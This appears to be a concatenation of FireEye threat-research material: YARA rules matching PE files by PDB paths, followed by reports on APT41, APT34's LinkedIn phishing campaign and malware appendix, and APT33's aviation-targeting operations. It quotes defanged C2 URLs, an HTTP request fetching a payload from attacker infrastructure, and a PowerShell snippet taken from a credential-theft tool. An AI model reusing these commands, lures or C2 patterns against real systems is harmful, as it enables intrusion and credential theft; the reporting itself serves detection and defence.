rule ConventionEngine_Term_Users

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Term_Desktop

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Anomaly_MultiPDB_Double

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2

}

APT41: A Dual Espionage and Cyber Crime Operation

Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.

The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).

Who Does APT41 Target?

Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.

The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.

Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.

A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.

 


Figure 1: Timeline of industries directly targeted by APT41

Probable Chinese Espionage Contractors

Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.

Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.


Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012

The Right Tool for the Job

APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.

APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.

Fast and Relentless

APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.

The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.

Looking Ahead

APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation’s distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups).

Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.

APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.

Read the report today to learn more.

Hard Pass: Declining APT34’s Invite to Join Their Professional Network

Background

With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

  1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents,
  2. The usage of LinkedIn to deliver malicious documents,
  3. The addition of three new malware families to APT34’s arsenal.

FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Mandiant Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

  • Energy and Utilities
  • Government
  • Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, Mandiant Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.


Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

  • 96feed478c347d4b95a8224de26a1b2c
  • caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.


Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.


Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

  • hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.

Conclusion

The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Learn more about Mandiant Managed Defense, and catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

Malware Appendix

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.


Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.

VALUEVAULT

VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.


Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go

Figure 8: Golang files extracted during execution of VALUEVAULT

LONGWATCH

FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

GetAsyncKeyState
>---------------------------------------------------\n\n
c:\\windows\\temp\\log.txt
[ENTER]
[CapsLock]
[CRTL]
[PAGE_UP]
[PAGE_DOWN]
[HOME]
[LEFT]
[RIGHT]
[DOWN]
[PRINT]
[PRINT SCREEN] (1 space)
[INSERT]
[SLEEP]
[PAUSE]
\n---------------CLIPBOARD------------\n
\n\n >>>  (2 spaces)
c:\\windows\\temp\\log.txt

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity.

Signature Name

FE_APT_Keylogger_Win_LONGWATCH_1

FE_APT_Keylogger_Win_LONGWATCH_2

FE_APT_Keylogger_Win32_LONGWATCH_1

FE_APT_HackTool_Win_PICKPOCKET_1

FE_APT_Trojan_Win32_VALUEVAULT_1

FE_APT_Backdoor_Win32_TONEDEAF

TONEDEAF BACKDOOR [DNS]

TONEDEAF BACKDOOR [upload]

TONEDEAF BACKDOOR [URI]

Table 1: FireEye Platform Detections

Endpoint Indicators

Indicator

MD5 Hash (if applicable)

Code Family

System.doc

b338baa673ac007d7af54075ea69660b

TONEDEAF

 

50fb09d53c856dcd0782e1470eaeae35

TONEDEAF

ERFT-Details.xls

96feed478c347d4b95a8224de26a1b2c

TONEDEAF DROPPER

 

caf418cbf6a9c4e93e79d4714d5d3b87

TONEDEAF DROPPER

b.exe

9fff498b78d9498b33e08b892148135f

VALUEVAULT

WindowsNTProgram.exe

021a0f57fe09116a43c27e5133a57a0a

LONGWATCH

PE86.dll

d8abe843db508048b4d4db748f92a103

PICKPOCKET

PE64.dll

6eca9c2b7cf12c247032aae28419319e

PICKPOCKET

Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators

hxxp[://]www[.]cam-research-ac[.]com

offlineearthquake[.]com

c[.]cdn-edge-akamai[.]com

185[.]15[.]247[.]154

Acknowledgements

A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.

Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware

When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations. This blog highlights some of our analysis. Our detailed report on FireEye Threat Intelligence contains a more thorough review of our supporting evidence and analysis. We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m. ET.

Targeting

APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.

From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings.

During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals. More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company.

We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia.

We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies. Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies. APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region. 

The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors.

Figure 1 shows the global scope of APT33 targeting.


Figure 1: Scope of APT33 Targeting

Spear Phishing

APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals.

An example .hta file excerpt is provided in Figure 2. To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor.


Figure 2: Excerpt of an APT33 malicious .hta file

We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016. Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement. However, in a few cases, APT33 operators left in the default values of the shell’s phishing module. These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed.

As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address (solevisible@gmail[.]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”).


Figure 3: ALFA TEaM Shell v2-Fake Mail (Default)

Figure 4 shows an example email containing the default values the shell.


Figure 4: Example Email Generated by the ALFA Shell with Default Values

Domain Masquerading

APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.    

The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia.

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base.

Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services.

Two of the domains appeared to mimic Northrop Grumman joint ventures. These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia. Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard.

Identified Persona Linked to Iranian Government

We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries.

We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples. An example can be seen in Figure 5.


Figure 5: “xman_1365_x" PDB String in TURNEDUP Sample

Xman_1365_x was also a community manager in the Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups.

Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government. Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil. In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil. While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government.

Potential Ties to Destructive Capabilities and Comparisons with SHAMOON

One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT. Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia.

Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT. The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration. Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran).

While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper. It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case.

In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.

We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33. For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally. APT33 has also utilized a wide range of custom and publicly available tools during their operations. In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle.

Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON. Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations.

Additional Ties Bolster Attribution to Iran

APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored. This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government.

The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC). The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC.

APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday. This is evident by the lack of attacker activity on Thursday, as shown in Figure 6. Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday. Many other Middle East countries have elected to have a Friday and Saturday weekend. Iran is one of few countries that subscribes to a Saturday to Wednesday workweek.

APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups. The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups. While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran.


Figure 6: APT33 Interactive Commands by Day of Week

Outlook and Implications

Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries. Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor. APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making. Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production. We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate.

APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools. The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations.

Appendix

Malware Family Descriptions

Malware Family

Description

Availability

DROPSHOT

Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware

Non-Public

NANOCORE

Publicly available remote access Trojan (RAT) available for purchase. It is a full-featured backdoor with a plugin framework

Public

NETWIRE

Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features.

Public

TURNEDUP

Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information

Non-Public

Indicators of Compromise

